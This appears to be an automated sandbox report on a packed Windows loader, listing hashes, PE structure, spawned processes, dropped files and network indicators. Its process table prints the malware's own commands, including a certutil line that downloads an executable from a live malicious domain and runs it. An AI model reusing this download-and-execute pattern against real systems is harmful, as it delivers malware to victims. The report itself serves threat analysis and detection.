| download: | download.exe |
| Full analysis: | https://app.any.run/tasks/d3d0ad8f-8170-4b6c-a8a3-eb8edb65d4cc |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | June 12, 2019, 08:39:14 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed |
| MD5: | 0FE77BC5E76660AD45379204AA4D013C |
| SHA1: | 189D75F6485B7F220B143C0DD548D97BD7D81E3F |
| SHA256: | 6180A1DB3B1267EEC5FBA215BE7696435BCB746A34B3B8692C99554E9EDBE68B |
| SSDEEP: | 1536:W42XuKlWa2R4Q+QArSDNzGAgChmD8DNdeLBFlK+0oOJY+pCgWCkeJaR0dPHYb1B:aNlWaPPQmkyEOLg+KjiIaR |
MALICIOUS
Application was dropped or rewritten from another process
- ophgsf.exe (PID: 4052)
- SunloglicySrv.exe (PID: 1692)
Starts CertUtil for downloading files
- cmd.exe (PID: 2356)
Downloads executable files from the Internet
- certutil.exe (PID: 3600)
Runs PING.EXE for delay simulation
- cmd.exe (PID: 916)
SUSPICIOUS
Creates files in the user directory
- download.exe (PID: 3516)
Starts CMD.EXE for commands execution
- download.exe (PID: 3516)
- SunloglicySrv.exe (PID: 1692)
Creates files in the Windows directory
- certutil.exe (PID: 3600)
Executable content was dropped or overwritten
- certutil.exe (PID: 3600)
- download.exe (PID: 3516)
Executed via COM
- DllHost.exe (PID: 1932)
- DllHost.exe (PID: 3984)
INFO
Manual execution by user
- rundll32.exe (PID: 976)
- explorer.exe (PID: 3992)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | UPX compressed Win32 Executable (64.2) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.6) |
| .exe | | | Win32 Executable (generic) (10.6) |
| .exe | | | Generic Win/DOS Executable (4.7) |
| .exe | | | DOS Executable Generic (4.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2019:06:03 22:26:51+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 90112 |
| InitializedDataSize: | 4096 |
| UninitializedDataSize: | 225280 |
| EntryPoint: | 0x4dcc0 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 03-Jun-2019 20:26:51 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000F8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 03-Jun-2019 20:26:51 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
UPX0 | 0x00001000 | 0x00037000 | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
UPX1 | 0x00038000 | 0x00016000 | 0x00016000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.91766 |
UPX2 | 0x0004E000 | 0x00001000 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 2.91703 |
Imports
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.DLL |
RASAPI32.dll |
SHELL32.dll |
SHLWAPI.dll |
USER32.dll |
WININET.dll |
WINSPOOL.DRV |
Total processes
52
Monitored processes
11
Malicious processes
0
Suspicious processes
4
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 916 | cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tklbkrbp\tgirlne.exe | C:\Windows\system32\cmd.exe | — | SunloglicySrv.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 976 | "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Windows\Temp\fwtsqmfile00.sqm | C:\Windows\system32\rundll32.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1692 | C:\Windows\Temp\SunloglicySrv.exe | C:\Windows\Temp\SunloglicySrv.exe | — | cmd.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 1932 | C:\Windows\system32\DllHost.exe /Processid:{4D111E08-CBF7-4F12-A926-2C7920AF52FC} | C:\Windows\system32\DllHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2356 | cmd.exe /c certutil.exe -urlcache -split -f http://fid.hognoob.se/SunloglicySrv.exe %SystemRoot%\Temp\SunloglicySrv.exe & %SystemRoot%\Temp\SunloglicySrv.exe | C:\Windows\system32\cmd.exe | — | download.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3516 | "C:\Users\admin\AppData\Local\Temp\download.exe" | C:\Users\admin\AppData\Local\Temp\download.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3600 | certutil.exe -urlcache -split -f http://fid.hognoob.se/SunloglicySrv.exe C:\Windows\Temp\SunloglicySrv.exe | C:\Windows\system32\certutil.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3696 | ping 127.0.0.1 -n 5 | C:\Windows\system32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3984 | C:\Windows\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} | C:\Windows\system32\DllHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3992 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
165
Read events
129
Write events
36
Delete events
0
Modification events
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3516) download.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\download_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
Executable files
3
Suspicious files
1
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4052 | ophgsf.exe | \Device\HarddiskVolume2\Users\admin\AppData\Local\VirtualStore\Windows\System32\1261750.bak | — | |
MD5:— | SHA256:— | |||
| 3516 | download.exe | C:\WebKitsSdk\2.7.92\SunloglicySrv.exe | — | |
MD5:— | SHA256:— | |||
| 3516 | download.exe | C:\Users\admin\AppData\Local\Temp\1282328\....\TemporaryFile | — | |
MD5:— | SHA256:— | |||
| 3516 | download.exe | C:\Users\admin\AppData\Local\Temp\1282328\TemporaryFile | — | |
MD5:— | SHA256:— | |||
| 3600 | certutil.exe | C:\Windows\Temp\SunloglicySrv.exe | — | |
MD5:— | SHA256:— | |||
| 1692 | SunloglicySrv.exe | C:\Users\admin\AppData\Local\Temp\1288968\....\TemporaryFile | — | |
MD5:— | SHA256:— | |||
| 1692 | SunloglicySrv.exe | C:\Users\admin\AppData\Local\Temp\1288968\TemporaryFile | — | |
MD5:— | SHA256:— | |||
| 3600 | certutil.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F72DCB76EF7685C5B685F96D53D86C37 | executable | |
MD5:— | SHA256:— | |||
| 3600 | certutil.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F72DCB76EF7685C5B685F96D53D86C37 | binary | |
MD5:— | SHA256:— | |||
| 3600 | certutil.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\SunloglicySrv[1].exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3600 | certutil.exe | GET | 200 | 45.67.14.164:80 | http://fid.hognoob.se/SunloglicySrv.exe | unknown | executable | 5.00 Mb | malicious |
3600 | certutil.exe | GET | 200 | 45.67.14.164:80 | http://fid.hognoob.se/SunloglicySrv.exe | unknown | executable | 5.00 Mb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3516 | download.exe | 45.67.14.164:80 | fid.hognoob.se | — | — | malicious |
3600 | certutil.exe | 45.67.14.164:80 | fid.hognoob.se | — | — | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
fid.hognoob.se |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3600 | certutil.exe | Misc activity | ET INFO Packed Executable Download |
3600 | certutil.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3600 | certutil.exe | Misc activity | SUSPICIOUS [PTsecurity] Observed MS Certutil User-Agent in HTTP Request |
3600 | certutil.exe | Misc activity | ET INFO Packed Executable Download |
3600 | certutil.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2 ETPRO signatures available at the full report